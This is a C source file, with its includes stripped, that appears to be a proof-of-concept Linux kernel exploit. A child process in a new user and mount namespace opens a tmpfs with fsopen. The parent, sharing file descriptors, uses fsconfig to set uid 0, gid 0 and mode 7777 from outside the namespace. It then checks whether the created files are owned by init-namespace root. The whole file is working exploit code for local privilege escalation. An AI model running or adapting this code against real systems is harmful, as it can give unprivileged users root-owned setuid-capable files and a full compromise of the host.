#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define FSCONFIG_SET_STRING 1 #define FSCONFIG_CMD_CREATE 6 //#define MS_NODEV 4 #define MOVE_MOUNT_F_EMPTY_PATH 0x00000004 /* Empty from path permitted */ int fsopen(char* fs,unsigned long flags) { return syscall(430,fs,flags); } int fsconfig(int fd, unsigned int cmd, char* key, char* value, int aux) { return syscall(431,fd,cmd,key,value,aux); } int fsmount(int fd, unsigned int flags, unsigned int mount_attrs) { return syscall(432,fd,flags,mount_attrs); } int move_mount(int from_dirfd, const char *from_pathname, int to_dirfd, const char *to_pathname, unsigned int flags) { return syscall(429,from_dirfd,from_pathname,to_dirfd,to_pathname,flags); } static int childFunc(void* arg) { mkdir("tmpfs",0777); int fd = fsopen("tmpfs",0); if(fd < 0) { printf("fsopen: %m\n"); return 1; } printf("fs fd: %d\n",fd); sleep(2); if(fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0)) { printf("fsconfig %m\n"); return 0; } int mountfd = fsmount(fd,0,MS_NODEV); if(mountfd == -1) { printf("fsmount: %m\n"); return 0; } if(move_mount(mountfd,"",AT_FDCWD,"./tmpfs",MOVE_MOUNT_F_EMPTY_PATH)) { printf("move_mount: %m\n"); return 0; } system("mount"); int final_fd = creat("./tmpfs/testfile",O_RDWR); if(final_fd == -1) { printf("open: %m\n"); exit(1); } int dir_fd = open("./tmpfs",O_RDONLY | O_DIRECTORY); if(dir_fd == -1) { printf("opendir: %m\n"); exit(1); } sleep(5); exit(0); } #define STACK_SIZE (1024 * 1024) int main() { char* stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); if (stack == MAP_FAILED) printf("mmap: %m\n"); char* stackTop = stack + STACK_SIZE; pid_t pid = clone(childFunc, stackTop, CLONE_FILES | CLONE_NEWUSER | CLONE_NEWNS, NULL); sleep(1); char uidgidfile[64]; char map[64]; sprintf(uidgidfile,"/proc/%d/uid_map",pid); int uid_map_fd = open(uidgidfile,O_WRONLY); sprintf(map,"0 %d 1",getuid()); if(write(uid_map_fd,map,strlen(map)) < 0) { printf("write uid_map: %m\n"); exit(1); } close(uid_map_fd); sprintf(uidgidfile,"/proc/%d/setgroups",pid); int setgroups_fd = open(uidgidfile,O_WRONLY); if(write(setgroups_fd,"deny",4) < 0) { printf("write setgroups: %m\n"); exit(1); } close(setgroups_fd); sprintf(uidgidfile,"/proc/%d/gid_map",pid); int gid_map_fd = open(uidgidfile,O_WRONLY); sprintf(map,"0 %d 1",getgid()); if(write(gid_map_fd,map,strlen(map)) < 0) { printf("write gid_map: %m\n"); exit(1); } close(gid_map_fd); //Please don't run this program with extra fd's int fs_fd = 3; //It's dirty but who cares. Just waiting for fsopen to happen on child side. while(errno = 0,fsconfig(fs_fd,FSCONFIG_SET_STRING,"uid","0",0)); printf("fsconfig uid set: %m\n"); while(errno = 0,fsconfig(fs_fd,FSCONFIG_SET_STRING,"gid","0",0)); printf("fsconfig gid set: %m\n"); while(errno = 0,fsconfig(fs_fd,FSCONFIG_SET_STRING,"mode","7777",0)); printf("mode set: %m\n"); int created_file_fd = 5; struct stat statbuf; puts("waiting for created file..."); while(fstat(created_file_fd,&statbuf)); printf("init_ns owned uid: %d\n",statbuf.st_uid); printf("init_ns owned gid: %d\n",statbuf.st_gid); int tmpfs_dir_fd = 6; while(fstat(tmpfs_dir_fd,&statbuf)); printf("init_ns dir owned uid: %d\n",statbuf.st_uid); printf("init_ns dir owned gid: %d\n",statbuf.st_gid); }